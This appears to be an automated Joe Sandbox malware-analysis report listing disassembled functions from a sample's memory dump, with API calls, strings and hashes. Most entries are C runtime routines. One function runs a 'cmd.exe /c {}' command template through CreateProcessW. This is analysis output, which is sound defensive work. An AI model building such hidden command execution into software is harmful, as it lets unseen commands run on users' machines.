Part of subcall function 00007FF646E62B78: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF646E60722,?,?,?,00007FF646E6233E), ref: 00007FF646E62B9E

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Handle$File$ErrorInformationLast$Close__std_fs_open_handle$CreateFeaturePresentProcessor
String ID:
API String ID: 2221425841-0
Opcode ID: be13dedac457fed96a1976cc7ff97a3659dff4da51673047d79026a1ca7cdedc
Instruction ID: 56e2c22107d4ea747527557cb45aaf8811d2cf74770d9fe0c5cb3e74f0aaa043
Opcode Fuzzy Hash: be13dedac457fed96a1976cc7ff97a3659dff4da51673047d79026a1ca7cdedc
Instruction Fuzzy Hash: 7E515021F0C692C9F720BBF698541FD6BE1BB457A8F180235CE2ED6AD5DF2AE4458700

Function 00007FF646E443D0 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__std_fs_code_page.LIBCPMT ref: 00007FF646E4442F

Part of subcall function 00007FF646E58880: AreFileApisANSI.KERNEL32(?,?,?,?,00007FF646E44434), ref: 00007FF646E58892

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E4462E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E44634
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF646E44751
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E4477C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E448A9
__std_exception_copy.LIBVCRUNTIME ref: 00007FF646E448DD

Strings

", ", xrefs: 00007FF646E4451D
: ", xrefs: 00007FF646E444EA

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ApisFile__std_exception_copy__std_exception_destroy__std_fs_code_page
String ID: ", "$: "
API String ID: 4080386414-747220369
Opcode ID: 05c3dfbba4eb20530540709d86ff3074b5dc9a95fb648d62f5b8df6b1e23a1b9
Instruction ID: 7a5ca4b24493dc15c985c6465d94af922349250ecf5143f2bcdae2e5000669d2
Opcode Fuzzy Hash: 05c3dfbba4eb20530540709d86ff3074b5dc9a95fb648d62f5b8df6b1e23a1b9
Instruction Fuzzy Hash: 93E18C72B1DB8185EB00FF69D1443ADA3A1FB44BC8F508032DA4D57A9ADFBAD495C380

Function 00007FF646E50CA0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E50E67
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E50E74
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E50E81
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E50E8E

Strings

Can not switch from manual to automatic indexing, xrefs: 00007FF646E50E87
Invalid format string., xrefs: 00007FF646E50E60
Number is too big, xrefs: 00007FF646E50E7A
Can not switch from automatic to manual indexing, xrefs: 00007FF646E50E6D

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Can not switch from automatic to manual indexing$Can not switch from manual to automatic indexing$Invalid format string.$Number is too big
API String ID: 909987262-180087107
Opcode ID: 4c3e943ee338831783309dd563fbb4d97c46b2b84faac3d06deaee2935f2af1c
Instruction ID: 8709228f60fae0bd2da0ea2ded7857c9a50472b1cd7d3833e2f43ff7d8d285cb
Opcode Fuzzy Hash: 4c3e943ee338831783309dd563fbb4d97c46b2b84faac3d06deaee2935f2af1c
Instruction Fuzzy Hash: 52518222A0C55682DF25BF58E0512BDB3E0FF50B84FA44132EB5D866D5EF2EE585C740

Function 00007FF646E5AA4C Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF646E5AA59
GetProcAddress.KERNEL32 ref: 00007FF646E5AA6C
GetProcAddress.KERNEL32 ref: 00007FF646E5AA83
GetProcAddress.KERNEL32 ref: 00007FF646E5AA9A

Strings

GetCurrentPackageId, xrefs: 00007FF646E5AA62
GetSystemTimePreciseAsFileTime, xrefs: 00007FF646E5AA72
GetTempPath2W, xrefs: 00007FF646E5AA89
kernel32.dll, xrefs: 00007FF646E5AA52

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 22a4611cc918a9d534043bcd573fae71c2f1a40576616ef3d12a778fa7794f91
Instruction ID: 666aef6b016e319b07a6175284e7d358221e9b3ab10544f7bc45e4234d92fb44
Opcode Fuzzy Hash: 22a4611cc918a9d534043bcd573fae71c2f1a40576616ef3d12a778fa7794f91
Instruction Fuzzy Hash: C0F07464A1EB07D5EA14BBA1B8680A1A3E4BF48B5AB844035C90E86321FF7EA159C340

Function 00007FF646E5D820 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF646E5D87D

Part of subcall function 00007FF646E5FBE0: __GetUnwindTryBlock.LIBCMT ref: 00007FF646E5FC23
Part of subcall function 00007FF646E5FBE0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF646E5FC48

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF646E5D955
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF646E5DBA3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF646E5DCB0

Strings

csm, xrefs: 00007FF646E5D8FE
csm, xrefs: 00007FF646E5D897
csm, xrefs: 00007FF646E5D978

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 092c79a0d9bcacff9565d77ad08bd040531453131bf8b4731f570bb9007e49b0
Instruction ID: bf8102a9e68aa271963e9bfbf02ef1487b9236546ad44af0e0af63da456da2f5
Opcode Fuzzy Hash: 092c79a0d9bcacff9565d77ad08bd040531453131bf8b4731f570bb9007e49b0
Instruction Fuzzy Hash: A1D17F72A0C74186EB60FBA5D4503ADB7E0FB55B98F10013AEA8D97B99DF39E090C744

Function 00007FF646E554B0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 177COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E5553C
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF646E5558E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E55729
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF646E55758

Strings

bad locale name, xrefs: 00007FF646E5575E
true, xrefs: 00007FF646E55627
false, xrefs: 00007FF646E55611

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 3230409043-1062449267
Opcode ID: 9fabb503fc1107b3eab03e6cd44713a08fb1cc94f3790c058f9689e501c1b5d4
Instruction ID: 03477e2f49d08cd61218fdaf2a695aad273e71ff4108870a7c0b15f67429fc31
Opcode Fuzzy Hash: 9fabb503fc1107b3eab03e6cd44713a08fb1cc94f3790c058f9689e501c1b5d4
Instruction Fuzzy Hash: 6F814A22A1DB8185EB01EFA4E4802ADB7F0FF84784F541135EB8DA7A99DF39D590C750

Function 00007FF646E66460 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 490COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF646E664A4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF646E6688B
_invalid_parameter_noinfo.LIBCMT ref: 00007FF646E66B3E

Strings

p, xrefs: 00007FF646E665CE
f, xrefs: 00007FF646E665C6
p, xrefs: 00007FF646E66556

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 1fa6fcf4c69cf2957793d2dab1b9a7211fd6f3d91b307342b650d52c4b68a3d1
Instruction ID: 5080d26fb84d3655c633ec3e59087961c68a09f7cb4f354c2db09bcb46f83ba0
Opcode Fuzzy Hash: 1fa6fcf4c69cf2957793d2dab1b9a7211fd6f3d91b307342b650d52c4b68a3d1
Instruction Fuzzy Hash: 0B12A161F2C193C6FB207B14E058279E7E2FB81754FD4A135E789866D4DE3EE8908B12

Function 00007FF646E6A500 Relevance: 10.8, APIs: 7, Instructions: 293COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF646E6A93F

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7dbb31f6801050b09f23af542c6ce5680b1b033fa1b6e520660a9cb4d4b647be
Instruction ID: 263835e7c161dbcd11adf52b81e194d95fba71007efe1148eb4d278944bb3b8d
Opcode Fuzzy Hash: 7dbb31f6801050b09f23af542c6ce5680b1b033fa1b6e520660a9cb4d4b647be
Instruction Fuzzy Hash: 15C1D222E0C78785E760BB1890442BDBBE1FF81B80F952131DB4E87796DE7EE8659740

Function 00007FF646E50B10 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E50C7B
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E50C88
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E50C95

Strings

invalid fill character '{', xrefs: 00007FF646E50C8E
Invalid fill (too long)., xrefs: 00007FF646E50C74
Invalid format string., xrefs: 00007FF646E50C81

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Invalid fill (too long).$Invalid format string.$invalid fill character '{'
API String ID: 909987262-2189586557
Opcode ID: b5ef4e00f5ed7918e6555e22bdf8501b8cab8dfcd7f8afc20cc6f89b8efb41a0
Instruction ID: 132dfa4a2888186fc84d76e2e65263889b578cf7ca034713187737c7d0d15550
Opcode Fuzzy Hash: b5ef4e00f5ed7918e6555e22bdf8501b8cab8dfcd7f8afc20cc6f89b8efb41a0
Instruction Fuzzy Hash: 2A41FB22F0C99682EA64BF99D4501B9E3D1FF51BC8F584032EB4C97799DE6EE5458300

Function 00007FF646E479F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 109processsynchronizationCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF646E47B0B
WaitForSingleObject.KERNEL32 ref: 00007FF646E47B22
CloseHandle.KERNEL32 ref: 00007FF646E47B2C
CloseHandle.KERNEL32 ref: 00007FF646E47B36
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E47B9A

Part of subcall function 00007FF646E4B800: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E4B82B
Part of subcall function 00007FF646E4B800: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E4B850
Part of subcall function 00007FF646E4B800: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E4B87A
Part of subcall function 00007FF646E4B800: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E4B90B

Strings

cmd.exe /c {}, xrefs: 00007FF646E47A4D

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Lockitstd::_$CloseHandleLockit::_Lockit::~_$CreateObjectProcessSingleWait_invalid_parameter_noinfo_noreturn
String ID: cmd.exe /c {}
API String ID: 2529529778-3162138867
Opcode ID: 89795bf87a76dcca8fec0eae3f411fff3c49443297445b2a0407c85bee09c839
Instruction ID: c1ec0590a11a587730ed6468783571f5bbba2511c59217f0ba8dfef563ddfabe
Opcode Fuzzy Hash: 89795bf87a76dcca8fec0eae3f411fff3c49443297445b2a0407c85bee09c839
Instruction Fuzzy Hash: 9C517272E1CB818AE710AF74E8403ADB3B1F798758F105225EE8C56A59EFB9D194C700

Function 00007FF646E6014C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF646E60353,?,?,00000000,00007FF646E5CE5A,?,?,?,00007FF646E5CA91), ref: 00007FF646E601D1
GetLastError.KERNEL32(?,?,?,00007FF646E60353,?,?,00000000,00007FF646E5CE5A,?,?,?,00007FF646E5CA91), ref: 00007FF646E601DF
LoadLibraryExW.KERNEL32(?,?,?,00007FF646E60353,?,?,00000000,00007FF646E5CE5A,?,?,?,00007FF646E5CA91), ref: 00007FF646E60209
FreeLibrary.KERNEL32(?,?,?,00007FF646E60353,?,?,00000000,00007FF646E5CE5A,?,?,?,00007FF646E5CA91), ref: 00007FF646E60277
GetProcAddress.KERNEL32(?,?,?,00007FF646E60353,?,?,00000000,00007FF646E5CE5A,?,?,?,00007FF646E5CA91), ref: 00007FF646E60283

Strings

api-ms-, xrefs: 00007FF646E601F1

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: a8f065913e62d8b40ec08f6ec93b373e41dc6187d27607b4b9745cbf9b314f32
Instruction ID: f6256bc881c99704feec2ba28c6f84764b246b2660693b4d61e9acfed0171596
Opcode Fuzzy Hash: a8f065913e62d8b40ec08f6ec93b373e41dc6187d27607b4b9745cbf9b314f32
Instruction Fuzzy Hash: 37310421B1EB52D1EE22BB12A900275A3D4FF49BA4F891534DE1D8B392FF3EE4458700

Function 00007FF646E72CF8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF646E72D29
GetLastError.KERNEL32 ref: 00007FF646E72D35
CloseHandle.KERNEL32 ref: 00007FF646E72D4D
CreateFileW.KERNEL32 ref: 00007FF646E72D78
WriteConsoleW.KERNEL32 ref: 00007FF646E72D97

Strings

CONOUT$, xrefs: 00007FF646E72D59

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 89a71625859c9bbcda66b2291a7366cba158d72fa4787ad431cd94ad3bec0ea6
Instruction ID: f310f14e9c16f5d22c33ba78c4e5aaa66c29d00aa1499703b70d8f786a7b358a
Opcode Fuzzy Hash: 89a71625859c9bbcda66b2291a7366cba158d72fa4787ad431cd94ad3bec0ea6
Instruction Fuzzy Hash: C1115E31B1CA4186E760BB52E844329A3E0FB88BE5F144334EA5EC77A5DF7DD4058B44

Function 00007FF646E5A750 Relevance: 9.2, APIs: 6, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF646E5A7C0
MultiByteToWideChar.KERNEL32 ref: 00007FF646E5A85E
LCMapStringEx.KERNEL32 ref: 00007FF646E5A8C7
LCMapStringEx.KERNEL32 ref: 00007FF646E5A919
LCMapStringEx.KERNEL32 ref: 00007FF646E5A9BE
WideCharToMultiByte.KERNEL32 ref: 00007FF646E5AA18

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 2f010e8b8aea278891a9880bfc7065d316f81339279a43416f5160c67bd53451
Instruction ID: ab67da59fcf78f379b684cd1eb3ba377cb592f6909e4bf031deb6dc5eb946a17
Opcode Fuzzy Hash: 2f010e8b8aea278891a9880bfc7065d316f81339279a43416f5160c67bd53451
Instruction Fuzzy Hash: FD81AC72A0D78286EB20BF69A544279B3E5FB44BE8F540231EA5D83BD9DF3ED4058700

Function 00007FF646E4B800 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E4B82B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E4B850
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E4B87A
std::_Facet_Register.LIBCPMT ref: 00007FF646E4B8F1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E4B90B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF646E4B933

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3a9136b57777e7af426870d4492c59b4fdea9b8c37fa80b5f5c531d690ce3055
Instruction ID: 2ae57f67f45b66b3d1b54e0ae9963ed6ff0a2a980011c98a1e283a09d4cbca81
Opcode Fuzzy Hash: 3a9136b57777e7af426870d4492c59b4fdea9b8c37fa80b5f5c531d690ce3055
Instruction Fuzzy Hash: 6A313E22A0CA4285EA24BF25E8401B9B3F0FF98B98F581531DA9D877A5DE7EE441C700

Function 00007FF646E49BF0 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E49C1B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E49C40
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E49C6A
std::_Facet_Register.LIBCPMT ref: 00007FF646E49CE1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E49CFB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF646E49D23

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: ccee4ecad965195149a33127be7459d68f658a740a62c8ff56008f5e199151f1
Instruction ID: 4055c11fe29571029dd5f107048b767a3a7771246e7c01e5bb4b378b82037d3d
Opcode Fuzzy Hash: ccee4ecad965195149a33127be7459d68f658a740a62c8ff56008f5e199151f1
Instruction Fuzzy Hash: 66316122A0CA4285EB54FF25E4401B9B7F0FB98B94F181131EB4D9B3A5DE7EE441C700

Function 00007FF646E5DCF0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF646E5DE8E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF646E5E1B7

Strings

csm, xrefs: 00007FF646E5DE37
csm, xrefs: 00007FF646E5DEB5
